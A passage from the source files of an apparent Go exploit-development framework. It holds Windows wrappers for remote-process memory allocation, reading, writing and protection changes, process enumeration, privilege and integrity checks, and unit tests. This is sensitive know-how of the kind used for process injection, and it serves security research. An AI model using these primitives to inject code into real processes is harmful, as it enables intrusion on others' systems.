false.\nfunc VirtualProtect(_ uintptr, _ uintptr, _ uint32) (uint32, bool) {\n\treturn 0, false\n}\n\n// VirtualProtectEx changes memory protection in a remote process.\n// On non-Windows systems, returns false.\nfunc VirtualProtectEx(_ Handle, _ uintptr, _ uintptr, _ uint32) (uint32, bool) {\n\treturn 0, false\n}\n\n// VirtualQuery queries information about a memory region.\n// On non-Windows systems, returns false.\nfunc VirtualQuery(_ uintptr) (*MemoryRegionInfo, bool) {\n\treturn nil, false\n}\n\n// VirtualQueryEx queries information about a memory region in a remote process.\n// On non-Windows systems, returns false.\nfunc VirtualQueryEx(_ Handle, _ uintptr) (*MemoryRegionInfo, bool) {\n\treturn nil, false\n}\n\n// ReadProcessMemory reads memory from a remote process.\n// On non-Windows systems, returns false.\nfunc ReadProcessMemory(_ Handle, _ uintptr, _ []byte) (int, bool) {\n\treturn 0, false\n}\n\n// WriteProcessMemory writes memory to a remote process.\n// On non-Windows systems, returns false.\nfunc WriteProcessMemory(_ Handle, _ uintptr, _ []byte) (int, bool) {\n\treturn 0, false\n}\n\n// CreateFileMapping creates a file mapping object.\n// On non-Windows systems, returns false.\nfunc CreateFileMapping(_ Handle, _ uint64, _ uint32, _ string) (Handle, bool) {\n\treturn InvalidHandleValue, false\n}\n\n// MapViewOfFile maps a view of a file mapping into the address space.\n// On non-Windows systems, returns false.\nfunc MapViewOfFile(_ Handle, _ uint32, _ uint64, _ uintptr) (uintptr, bool) {\n\treturn 0, false\n}\n\n// UnmapViewOfFile unmaps a view of a file mapping.\n// On non-Windows systems, returns false.\nfunc UnmapViewOfFile(_ uintptr) bool {\n\treturn false\n}\n\n// File mapping access rights.\nconst (\n\tFileMapCopy      = 0x0001\n\tFileMapWrite     = 0x0002\n\tFileMapRead      = 0x0004\n\tFileMapExecute   = 0x0020\n\tFileMapAllAccess = 0xF001F\n)\n\n// Section protection.\nconst (\n\tSecCommit  = 0x8000000\n\tSecImage   = 0x1000000\n\tSecReserve = 0x4000000\n)\n"
  },
  {
    "path": "windows/memory_test.go",
    "content": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestMemoryProtectionConstants(t *testing.T) {\n\tif windows.PageReadOnly != 0x02 {\n\t\tt.Errorf(\"PageReadOnly should be 0x02, got 0x%x\", windows.PageReadOnly)\n\t}\n\tif windows.PageReadWrite != 0x04 {\n\t\tt.Errorf(\"PageReadWrite should be 0x04, got 0x%x\", windows.PageReadWrite)\n\t}\n\tif windows.PageExecuteReadWrite != 0x40 {\n\t\tt.Errorf(\"PageExecuteReadWrite should be 0x40, got 0x%x\", windows.PageExecuteReadWrite)\n\t}\n}\n\nfunc TestMemoryAllocationConstants(t *testing.T) {\n\tif windows.MemCommit != 0x1000 {\n\t\tt.Errorf(\"MemCommit should be 0x1000, got 0x%x\", windows.MemCommit)\n\t}\n\tif windows.MemReserve != 0x2000 {\n\t\tt.Errorf(\"MemReserve should be 0x2000, got 0x%x\", windows.MemReserve)\n\t}\n\tif windows.MemRelease != 0x8000 {\n\t\tt.Errorf(\"MemRelease should be 0x8000, got 0x%x\", windows.MemRelease)\n\t}\n}\n\nfunc TestVirtualAllocNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.VirtualAlloc(0, 4096, windows.MemCommit, windows.PageReadWrite)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestVirtualFreeNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tok := windows.VirtualFree(0x1000, 0, windows.MemRelease)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestVirtualProtectNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.VirtualProtect(0x1000, 4096, windows.PageExecuteReadWrite)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestVirtualQueryNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.VirtualQuery(0x1000)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestReadProcessMemoryNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tbuffer := make([]byte, 100)\n\t\t_, ok := windows.ReadProcessMemory(windows.Handle(0), 0x1000, buffer)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestWriteProcessMemoryNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tbuffer := []byte{0x90, 0x90, 0x90}\n\t\t_, ok := windows.WriteProcessMemory(windows.Handle(0), 0x1000, buffer)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestCreateFileMappingNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.CreateFileMapping(windows.InvalidHandleValue, 4096, windows.PageReadWrite, \"TestMapping\")\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestMapViewOfFileNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.MapViewOfFile(windows.Handle(0), windows.FileMapAllAccess, 0, 4096)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestUnmapViewOfFileNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tok := windows.UnmapViewOfFile(0x1000)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestMemoryRegionInfoStruct(t *testing.T) {\n\tinfo := windows.MemoryRegionInfo{\n\t\tBaseAddress:       0x7FFE0000,\n\t\tAllocationBase:    0x7FFE0000,\n\t\tAllocationProtect: windows.PageReadWrite,\n\t\tRegionSize:        0x1000,\n\t\tState:             windows.MemCommit,\n\t\tProtect:           windows.PageReadWrite,\n\t\tType:              windows.MemPrivate,\n\t}\n\n\tif info.BaseAddress != 0x7FFE0000 {\n\t\tt.Error(\"MemoryRegionInfo.BaseAddress not set correctly\")\n\t}\n\tif info.Protect != windows.PageReadWrite {\n\t\tt.Error(\"MemoryRegionInfo.Protect not set correctly\")\n\t}\n}\n"
  },
  {
    "path": "windows/memory_windows.go",
    "content": "//go:build windows\n\npackage windows\n\nimport (\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"golang.org/x/sys/windows\"\n)\n\n// VirtualAlloc allocates memory in the current process.\n// Wraps windows.VirtualAlloc from x/sys/windows.\nfunc VirtualAlloc(address uintptr, size uintptr, allocationType uint32, protect uint32) (uintptr, bool) {\n\taddr, err := windows.VirtualAlloc(address, size, allocationType, protect)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"VirtualAlloc failed: %v\", err)\n\t\treturn 0, false\n\t}\n\treturn addr, true\n}\n\n// VirtualAllocEx allocates memory in a remote process.\n// Note: x/sys/windows does not provide VirtualAllocEx, so we implement it directly.\nfunc VirtualAllocEx(process Handle, address uintptr, size uintptr, allocationType uint32, protect uint32) (uintptr, bool) {\n\tmodkernel32 := windows.NewLazySystemDLL(\"kernel32.dll\")\n\tprocVirtualAllocEx := modkernel32.NewProc(\"VirtualAllocEx\")\n\n\tret, _, err := procVirtualAllocEx.Call(\n\t\tuintptr(process),\n\t\taddress,\n\t\tsize,\n\t\tuintptr(allocationType),\n\t\tuintptr(protect),\n\t)\n\tif ret == 0 {\n\t\toutput.PrintfFrameworkError(\"VirtualAllocEx failed: %v\", err)\n\t\treturn 0, false\n\t}\n\treturn ret, true\n}\n\n// VirtualFree frees memory in the current process.\n// Wraps windows.VirtualFree from x/sys/windows.\nfunc VirtualFree(address uintptr, size uintptr, freeType uint32) bool {\n\terr := windows.VirtualFree(address, size, freeType)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"VirtualFree failed: %v\", err)\n\t\treturn false\n\t}\n\treturn true\n}\n\n// VirtualFreeEx frees memory in a remote process.\n// Note: x/sys/windows does not provide VirtualFreeEx, so we implement it directly.\nfunc VirtualFreeEx(process Handle, address uintptr, size uintptr, freeType uint32) bool {\n\tmodkernel32 := windows.NewLazySystemDLL(\"kernel32.dll\")\n\tprocVirtualFreeEx := modkernel32.NewProc(\"VirtualFreeEx\")\n\n\tret, _, err := procVirtualFreeEx.Call(\n\t\tuintptr(process),\n\t\taddress,\n\t\tsize,\n\t\tuintptr(freeType),\n\t)\n\tif ret == 0 {\n\t\toutput.PrintfFrameworkError(\"VirtualFreeEx failed: %v\", err)\n\t\treturn false\n\t}\n\treturn true\n}\n\n// VirtualProtect changes memory protection in the current process.\n// Wraps windows.VirtualProtect from x/sys/windows.\nfunc VirtualProtect(address uintptr, size uintptr, newProtect uint32) (uint32, bool) {\n\tvar oldProtect uint32\n\terr := windows.VirtualProtect(address, size, newProtect, &oldProtect)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"VirtualProtect failed: %v\", err)\n\t\treturn 0, false\n\t}\n\treturn oldProtect, true\n}\n\n// VirtualProtectEx changes memory protection in a remote process.\n// Wraps windows.VirtualProtectEx from x/sys/windows.\nfunc VirtualProtectEx(process Handle, address uintptr, size uintptr, newProtect uint32) (uint32, bool) {\n\tvar oldProtect uint32\n\terr := windows.VirtualProtectEx(windows.Handle(process), address, size, newProtect, &oldProtect)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"VirtualProtectEx failed: %v\", err)\n\t\treturn 0, false\n\t}\n\treturn oldProtect, true\n}\n\n// VirtualQuery queries information about a memory region.\n// Wraps windows.VirtualQuery from x/sys/windows.\nfunc VirtualQuery(address uintptr) (*MemoryRegionInfo, bool) {\n\tvar mbi windows.MemoryBasicInformation\n\terr := windows.VirtualQuery(address, &mbi, unsafe.Sizeof(mbi))\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"VirtualQuery failed: %v\", err)\n\t\treturn nil, false\n\t}\n\treturn &MemoryRegionInfo{\n\t\tBaseAddress:       mbi.BaseAddress,\n\t\tAllocationBase:    mbi.AllocationBase,\n\t\tAllocationProtect: mbi.AllocationProtect,\n\t\tRegionSize:        mbi.RegionSize,\n\t\tState:             mbi.State,\n\t\tProtect:           mbi.Protect,\n\t\tType:              mbi.Type,\n\t}, true\n}\n\n// VirtualQueryEx queries information about a memory region in a remote process.\n// Wraps windows.VirtualQueryEx from x/sys/windows.\nfunc VirtualQueryEx(process Handle, address uintptr) (*MemoryRegionInfo, bool) {\n\tvar mbi windows.MemoryBasicInformation\n\terr := windows.VirtualQueryEx(windows.Handle(process), address, &mbi, unsafe.Sizeof(mbi))\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"VirtualQueryEx failed: %v\", err)\n\t\treturn nil, false\n\t}\n\treturn &MemoryRegionInfo{\n\t\tBaseAddress:       mbi.BaseAddress,\n\t\tAllocationBase:    mbi.AllocationBase,\n\t\tAllocationProtect: mbi.AllocationProtect,\n\t\tRegionSize:        mbi.RegionSize,\n\t\tState:             mbi.State,\n\t\tProtect:           mbi.Protect,\n\t\tType:              mbi.Type,\n\t}, true\n}\n\n// ReadProcessMemory reads memory from a remote process.\n// Wraps windows.ReadProcessMemory from x/sys/windows.\nfunc ReadProcessMemory(process Handle, address uintptr, buffer []byte) (int, bool) {\n\tvar bytesRead uintptr\n\terr := windows.ReadProcessMemory(windows.Handle(process), address, &buffer[0], uintptr(len(buffer)), &bytesRead)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"ReadProcessMemory failed: %v\", err)\n\t\treturn 0, false\n\t}\n\treturn int(bytesRead), true\n}\n\n// WriteProcessMemory writes memory to a remote process.\n// Wraps windows.WriteProcessMemory from x/sys/windows.\nfunc WriteProcessMemory(process Handle, address uintptr, buffer []byte) (int, bool) {\n\tvar bytesWritten uintptr\n\terr := windows.WriteProcessMemory(windows.Handle(process), address, &buffer[0], uintptr(len(buffer)), &bytesWritten)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"WriteProcessMemory failed: %v\", err)\n\t\treturn 0, false\n\t}\n\treturn int(bytesWritten), true\n}\n\n// CreateFileMapping creates a file mapping object.\n// Wraps windows.CreateFileMapping from x/sys/windows.\nfunc CreateFileMapping(file Handle, size uint64, protect uint32, name string) (Handle, bool) {\n\tvar namePtr *uint16\n\tif name != \"\" {\n\t\tvar err error\n\t\tnamePtr, err = windows.UTF16PtrFromString(name)\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"CreateFileMapping: invalid name: %v\", err)\n\t\t\treturn InvalidHandleValue, false\n\t\t}\n\t}\n\n\tsizeHigh := uint32(size >> 32)\n\tsizeLow := uint32(size & 0xFFFFFFFF)\n\n\th, err := windows.CreateFileMapping(windows.Handle(file), nil, protect, sizeHigh, sizeLow, namePtr)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"CreateFileMapping failed: %v\", err)\n\t\treturn InvalidHandleValue, false\n\t}\n\treturn Handle(h), true\n}\n\n// MapViewOfFile maps a view of a file mapping into the address space.\n// Wraps windows.MapViewOfFile from x/sys/windows.\nfunc MapViewOfFile(mapping Handle, access uint32, offset uint64, size uintptr) (uintptr, bool) {\n\toffsetHigh := uint32(offset >> 32)\n\toffsetLow := uint32(offset & 0xFFFFFFFF)\n\n\taddr, err := windows.MapViewOfFile(windows.Handle(mapping), access, offsetHigh, offsetLow, size)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"MapViewOfFile failed: %v\", err)\n\t\treturn 0, false\n\t}\n\treturn addr, true\n}\n\n// UnmapViewOfFile unmaps a view of a file mapping.\n// Wraps windows.UnmapViewOfFile from x/sys/windows.\nfunc UnmapViewOfFile(address uintptr) bool {\n\terr := windows.UnmapViewOfFile(address)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"UnmapViewOfFile failed: %v\", err)\n\t\treturn false\n\t}\n\treturn true\n}\n\n// File mapping access rights - use windows constants where available.\nconst (\n\tFileMapCopy      = windows.FILE_MAP_COPY\n\tFileMapWrite     = windows.FILE_MAP_WRITE\n\tFileMapRead      = windows.FILE_MAP_READ\n\tFileMapExecute   = windows.FILE_MAP_EXECUTE\n\tFileMapAllAccess = 0xF001F // Not available in x/sys/windows.\n)\n\n// Section protection.\nconst (\n\tSecCommit  = 0x8000000\n\tSecImage   = 0x1000000\n\tSecReserve = 0x4000000\n)\n"
  },
  {
    "path": "windows/platform_other.go",
    "content": "//go:build !windows\n\npackage windows\n\n// GetPlatformInfo returns platform information.\n// On non-Windows systems, returns false.\nfunc GetPlatformInfo() (*PlatformInfo, bool) {\n\treturn nil, false\n}\n\n// IsAdmin returns true if the current process has admin privileges.\n// On non-Windows systems, always returns false.\nfunc IsAdmin() bool {\n\treturn false\n}\n\n// IsSystem returns true if the current process is running as SYSTEM.\n// On non-Windows systems, always returns false.\nfunc IsSystem() bool {\n\treturn false\n}\n\n// IsElevated returns true if the current process is elevated.\n// On non-Windows systems, always returns false.\nfunc IsElevated() bool {\n\treturn false\n}\n\n// GetIntegrityLevel returns the current process integrity level.\n// On non-Windows systems, returns IntegrityUnknown.\nfunc GetIntegrityLevel() IntegrityLevel {\n\treturn IntegrityUnknown\n}\n\n// EnumProcesses returns a list of all running processes.\n// On non-Windows systems, returns false.\nfunc EnumProcesses() ([]ProcessInfo, bool) {\n\treturn nil, false\n}\n\n// GetProcessInfo returns information about a specific process.\n// On non-Windows systems, returns false.\nfunc GetProcessInfo(_ uint32) (*ProcessInfo, bool) {\n\treturn nil, false\n}\n\n// FindProcess finds a process by name and returns its PID.\n// On non-Windows systems, returns false.\nfunc FindProcess(_ string) (uint32, bool) {\n\treturn 0, false\n}\n\n// FindProcesses finds all processes matching the given name.\n// On non-Windows systems, returns false.\nfunc FindProcesses(_ string) ([]uint32, bool) {\n\treturn nil, false\n}\n\n// OpenProcess opens a handle to the specified process.\n// On non-Windows systems, returns false.\nfunc OpenProcess(_ uint32, _ uint32) (Handle, bool) {\n\treturn InvalidHandleValue, false\n}\n\n// CloseHandle closes an open handle.\n// On non-Windows systems, returns false.\nfunc CloseHandle(_ Handle) bool {\n\treturn false\n}\n\n// GetCurrentProcess returns a pseudo-handle to the current process.\n// On non-Windows systems, returns invalid handle.\nfunc GetCurrentProcess() Handle {\n\treturn InvalidHandleValue\n}\n\n// GetCurrentProcessID returns the current process ID.\n// On non-Windows systems, returns 0.\nfunc GetCurrentProcessID() uint32 {\n\treturn 0\n}\n"
  },
  {
    "path": "windows/platform_windows.go",
    "content": "//go:build windows\n\npackage windows\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"golang.org/x/sys/windows\"\n)\n\nvar (\n\tmodntdll = windows.NewLazySystemDLL(\"ntdll.dll\")\n\tmodpsapi = windows.NewLazySystemDLL(\"psapi.dll\")\n\n\t// Ntdll functions not available in x/sys/windows\n\tprocNtQueryObject          = modntdll.NewProc(\"NtQueryObject\")\n\tprocNtDuplicateObject      = modntdll.NewProc(\"NtDuplicateObject\")\n\tprocNtAlpcQueryInformation = modntdll.NewProc(\"NtAlpcQueryInformation\")\n\tprocRtlGetVersion          = modntdll.NewProc(\"RtlGetVersion\")\n\n\t// ALPC creation and messaging\n\tprocNtAlpcCreatePort            = modntdll.NewProc(\"NtAlpcCreatePort\")\n\tprocNtAlpcCreateResourceReserve = modntdll.NewProc(\"NtAlpcCreateResourceReserve\")\n\tprocNtAlpcSendWaitReceivePort   = modntdll.NewProc(\"NtAlpcSendWaitReceivePort\")\n\n\t// Filesystem control and file creation\n\tprocNtFsControlFile = modntdll.NewProc(\"NtFsControlFile\")\n\tprocNtCreateFile    = modntdll.NewProc(\"NtCreateFile\")\n\n\t// Psapi functions - not fully available in x/sys/windows\n\tprocEnumProcesses            = modpsapi.NewProc(\"EnumProcesses\")\n\tprocGetProcessImageFileNameW = modpsapi.NewProc(\"GetProcessImageFileNameW\")\n)\n\n// RTL_OSVERSIONINFOW structure for RtlGetVersion.\n// We use RtlGetVersion instead of GetVersionEx because GetVersionEx lies\n// about the OS version on Windows 8.1+ unless the app has a compatibility manifest.\ntype rtlOSVersionInfoW struct {\n\tOSVersionInfoSize uint32\n\tMajorVersion      uint32\n\tMinorVersion      uint32\n\tBuildNumber       uint32\n\tPlatformId        uint32\n\tCSDVersion        [128]uint16\n}\n\n// SYSTEM_HANDLE_TABLE_ENTRY_INFO structure\ntype systemHandleTableEntryInfo struct {\n\tUniqueProcessId       uint16\n\tCreatorBackTraceIndex uint16\n\tObjectTypeIndex       uint8\n\tHandleAttributes      uint8\n\tHandleValue           uint16\n\tObject                uintptr\n\tGrantedAccess         uint32\n}\n\n// SYSTEM_HANDLE_INFORMATION structure.\n// On x64, the entry array starts at offset 8 (4-byte NumberOfHandles +\n// 4-byte padding to align SYSTEM_HANDLE_TABLE_ENTRY_INFO to 8 bytes).\ntype systemHandleInformation struct {\n\tNumberOfHandles uint32\n\t_pad            uint32 // alignment padding before first entry\n}\n\n// GetPlatformInfo returns information about the current Windows platform\nfunc GetPlatformInfo() (*PlatformInfo, bool) {\n\tinfo := &PlatformInfo{\n\t\tOS:   \"windows\",\n\t\tArch: getArch(),\n\t}\n\n\t// Get OS version using RtlGetVersion (more accurate than GetVersionEx)\n\tvar osInfo rtlOSVersionInfoW\n\tosInfo.OSVersionInfoSize = uint32(unsafe.Sizeof(osInfo))\n\tret, _, _ := procRtlGetVersion.Call(uintptr(unsafe.Pointer(&osInfo)))\n\tif ret == StatusSuccess {\n\t\tinfo.Version = fmt.Sprintf(\"%d.%d.%d\", osInfo.MajorVersion, osInfo.MinorVersion, osInfo.BuildNumber)\n\t\tinfo.BuildNumber = osInfo.BuildNumber\n\t}\n\n\t// Get current process info - use x/sys/windows\n\tinfo.CurrentPID = uint32(windows.GetCurrentProcessId())\n\n\t// Get session ID using x/sys/windows\n\tvar sessionID uint32\n\terr := windows.ProcessIdToSessionId(info.CurrentPID, &sessionID)\n\tif err == nil {\n\t\tinfo.SessionID = sessionID\n\t} else {\n\t\toutput.PrintfFrameworkError(\"Could not get process session ID: %s\", err.Error())\n\t}\n\n\t// Get computer name\n\tcomputerName, err := windows.ComputerName()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not get computer name: %s\", err.Error())\n\t}\n\tinfo.ComputerName = computerName\n\n\t// Get token information for privilege checks\n\ttoken, err := windows.OpenCurrentProcessToken()\n\tif err == nil {\n\t\tdefer token.Close()\n\n\t\t// Get integrity level\n\t\tinfo.IntegrityLevel = getTokenIntegrityLevel(token)\n\n\t\t// Get username from token\n\t\tuser, err := token.GetTokenUser()\n\t\tif err == nil {\n\t\t\taccount, domain, _, _ := user.User.Sid.LookupAccount(\"\")\n\t\t\tif domain != \"\" {\n\t\t\t\tinfo.Username = domain + \"\\\\\" + account\n\t\t\t} else {\n\t\t\t\tinfo.Username = account\n\t\t\t}\n\t\t}\n\n\t\t// Check for admin/system\n\t\tinfo.IsAdmin = isAdmin(token)\n\t\tinfo.IsSystem = info.IntegrityLevel == IntegritySystem\n\t\tinfo.IsElevated = token.IsElevated()\n\t} else {\n\t\toutput.PrintfFrameworkError(\"Could not open process token: %s\", err.Error())\n\t}\n\n\treturn info, true\n}\n\nfunc getArch() string {\n\tif unsafe.Sizeof(uintptr(0)) == 8 {\n\t\treturn \"amd64\"\n\t}\n\treturn \"386\"\n}\n\nfunc getTokenIntegrityLevel(token windows.Token) IntegrityLevel {\n\tvar size uint32\n\twindows.GetTokenInformation(token, windows.TokenIntegrityLevel, nil, 0, &size)\n\tif size == 0 {\n\t\treturn IntegrityUnknown\n\t}\n\n\tbuf := make([]byte, size)\n\terr := windows.GetTokenInformation(token, windows.TokenIntegrityLevel, &buf[0], size, &size)\n\tif err != nil {\n\t\treturn IntegrityUnknown\n\t}\n\n\t// The TOKEN_MANDATORY_LABEL structure starts with a SID_AND_ATTRIBUTES\n\t// The integrity level is the last RID of the SID\n\ttype tokenMandatoryLabel struct {\n\t\tLabel windows.SIDAndAttributes\n\t}\n\ttml := (*tokenMandatoryLabel)(unsafe.Pointer(&buf[0]))\n\tsid := tml.Label.Sid\n\n\tsubAuthCount := *(*uint8)(unsafe.Pointer(uintptr(unsafe.Pointer(sid)) + 1))\n\tif subAuthCount < 1 {\n\t\treturn IntegrityUnknown\n\t}\n\n\t// Get the last sub-authority (integrity level RID)\n\tsubAuth := *(*uint32)(unsafe.Pointer(uintptr(unsafe.Pointer(sid)) + 8 + uintptr(subAuthCount-1)*4))\n\n\tswitch {\n\tcase subAuth >= 0x4000: // SECURITY_MANDATORY_SYSTEM_RID\n\t\treturn IntegritySystem\n\tcase subAuth >= 0x3000: // SECURITY_MANDATORY_HIGH_RID\n\t\treturn IntegrityHigh\n\tcase subAuth >= 0x2100: // SECURITY_MANDATORY_MEDIUM_PLUS_RID\n\t\treturn IntegrityMediumPlus\n\tcase subAuth >= 0x2000: // SECURITY_MANDATORY_MEDIUM_RID\n\t\treturn IntegrityMedium\n\tcase subAuth >= 0x1000: // SECURITY_MANDATORY_LOW_RID\n\t\treturn IntegrityLow\n\tdefault:\n\t\treturn IntegrityUntrusted\n\t}\n}\n\nfunc isAdmin(token windows.Token) bool {\n\t// Check if member of Administrators group\n\tadminSID, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not create admin SID: %s\", err.Error())\n\t\treturn false\n\t}\n\n\tisMember, err := token.IsMember(adminSID)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not check admin group membership: %s\", err.Error())\n\t\treturn false\n\t}\n\treturn isMember\n}\n\n// IsAdmin returns true if the current process has admin privileges\nfunc IsAdmin() bool {\n\tinfo, ok := GetPlatformInfo()\n\tif !ok {\n\t\treturn false\n\t}\n\treturn info.IsAdmin\n}\n\n// IsSystem returns true if the current process is running as SYSTEM\nfunc IsSystem() bool {\n\tinfo, ok := GetPlatformInfo()\n\tif !ok {\n\t\treturn false\n\t}\n\treturn info.IsSystem\n}\n\n// IsElevated returns true if the current process is elevated\nfunc IsElevated() bool {\n\tinfo, ok := GetPlatformInfo()\n\tif !ok {\n\t\treturn false\n\t}\n\treturn info.IsElevated\n}\n\n// GetIntegrityLevel returns the current process integrity level\nfunc GetIntegrityLevel() IntegrityLevel {\n\tinfo, ok := GetPlatformInfo()\n\tif !ok {\n\t\treturn IntegrityUnknown\n\t}\n\treturn info.IntegrityLevel\n}\n\n// EnumProcesses returns a list of all running processes.\n// Uses a fixed buffer of 1024 PIDs (4096 bytes) which is sufficient for most systems.\nfunc EnumProcesses() ([]ProcessInfo, bool) {\n\t// 1024 PIDs * 4 bytes per PID = 4096 bytes\n\t// This is a common buffer size used in Windows process enumeration\n\tconst maxProcesses = 1024\n\tvar pids [maxProcesses]uint32\n\tvar needed uint32\n\n\tret, _, err := procEnumProcesses.Call(\n\t\tuintptr(unsafe.Pointer(&pids[0])),\n\t\tuintptr(len(pids)*4), // size in bytes\n\t\tuintptr(unsafe.Pointer(&needed)),\n\t)\n\tif ret == 0 {\n\t\toutput.PrintfFrameworkError(\"EnumProcesses failed: %v\", err)\n\t\treturn nil, false\n\t}\n\n\t// needed is in bytes, divide by 4 to get count of PIDs\n\tnumProcesses := needed / 4\n\tprocesses := make([]ProcessInfo, 0, numProcesses)\n\n\tfor i := uint32(0); i < numProcesses; i++ {\n\t\t// Use getProcessInfoSilent to avoid spamming errors for inaccessible processes\n\t\tinfo, ok := getProcessInfoSilent(pids[i])\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\tprocesses = append(processes, *info)\n\t}\n\n\treturn processes, true\n}\n\n// GetProcessInfo returns information about a specific process\nfunc GetProcessInfo(pid uint32) (*ProcessInfo, bool) {\n\tinfo, ok := getProcessInfoSilent(pid)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"GetProcessInfo: failed to get info for PID %d\", pid)\n\t\treturn nil, false\n\t}\n\treturn info, true\n}\n\n// getProcessInfoSilent returns information about a process without printing errors.\n// Used internally by EnumProcesses to avoid noisy output.\nfunc getProcessInfoSilent(pid uint32) (*ProcessInfo, bool) {\n\tinfo := &ProcessInfo{PID: pid}\n\n\t// Open process for query using x/sys/windows\n\thandle, err := windows.OpenProcess(ProcessQueryInformation|ProcessVMRead, false, pid)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not open process %d: %s\", pid, err.Error())\n\t\treturn nil, false\n\t}\n\tdefer windows.CloseHandle(handle)\n\n\t// Get process name/path\n\t// MAX_PATH is 260 characters\n\tconst maxPath = 260\n\tvar name [maxPath]uint16\n\tret, _, _ := procGetProcessImageFileNameW.Call(\n\t\tuintptr(handle),\n\t\tuintptr(unsafe.Pointer(&name[0])),\n\t\tmaxPath,\n\t)\n\tif ret != 0 {\n\t\tfullPath := windows.UTF16ToString(name[:])\n\t\tinfo.Path = fullPath\n\t\tparts := strings.Split(fullPath, \"\\\\\")\n\t\tinfo.Name = parts[len(parts)-1]\n\t}\n\n\t// Get session ID using x/sys/windows\n\tvar sessionID uint32\n\terr = windows.ProcessIdToSessionId(pid, &sessionID)\n\tif err == nil {\n\t\tinfo.SessionID = sessionID\n\t} else {\n\t\toutput.PrintfFrameworkError(\"Could not get session ID for process %d: %s\", pid, err.Error())\n\t}\n\n\t// Check if WoW64 using x/sys/windows\n\tvar isWow64 bool\n\terr = windows.IsWow64Process(handle, &isWow64)\n\tif err == nil {\n\t\tinfo.IsWow64 = isWow64\n\t} else {\n\t\toutput.PrintfFrameworkError(\"Could not check WoW64 status for process %d: %s\", pid, err.Error())\n\t}\n\n\treturn info, true\n}\n\n// FindProcess finds a process by name and returns its PID.\n// Returns false if the process is not found (does not print error).\nfunc FindProcess(name string) (uint32, bool) {\n\tprocesses, ok := EnumProcesses()\n\tif !ok {\n\t\treturn 0, false\n\t}\n\n\tfor _, p := range processes {\n\t\tif strings.EqualFold(p.Name, name) {\n\t\t\treturn p.PID, true\n\t\t}\n\t}\n\n\treturn 0, false\n}\n\n// FindProcesses finds all processes matching the given name.\n// Returns false if no processes are found (does not print error).\nfunc FindProcesses(name string) ([]uint32, bool) {\n\tprocesses, ok := EnumProcesses()\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\tvar pids []uint32\n\tfor _, p := range processes {\n\t\tif strings.EqualFold(p.Name, name) {\n\t\t\tpids = append(pids, p.PID)\n\t\t}\n\t}\n\n\tif len(pids) == 0 {\n\t\treturn nil, false\n\t}\n\n\treturn pids, true\n}\n\n// OpenProcess opens a handle to the specified process.\n// Wraps windows.OpenProcess from x/sys/windows.\nfunc OpenProcess(pid uint32, access uint32) (Handle, bool) {\n\thandle, err := windows.OpenProcess(access, false, pid)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"OpenProcess failed for PID %d: %v\", pid, err)\n\t\treturn InvalidHandleValue, false\n\t}\n\treturn Handle(handle), true\n}\n\n// CloseHandle closes an open handle.\n// Wraps windows.CloseHandle from x/sys/windows.\nfunc CloseHandle(handle Handle) bool {\n\terr := windows.CloseHandle(windows.Handle(handle))\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"CloseHandle failed: %v\", err)\n\t\treturn false\n\t}\n\treturn true\n}\n\n// GetCurrentProcess returns a pseudo-handle to the current process.\n// Uses windows.CurrentProcess from 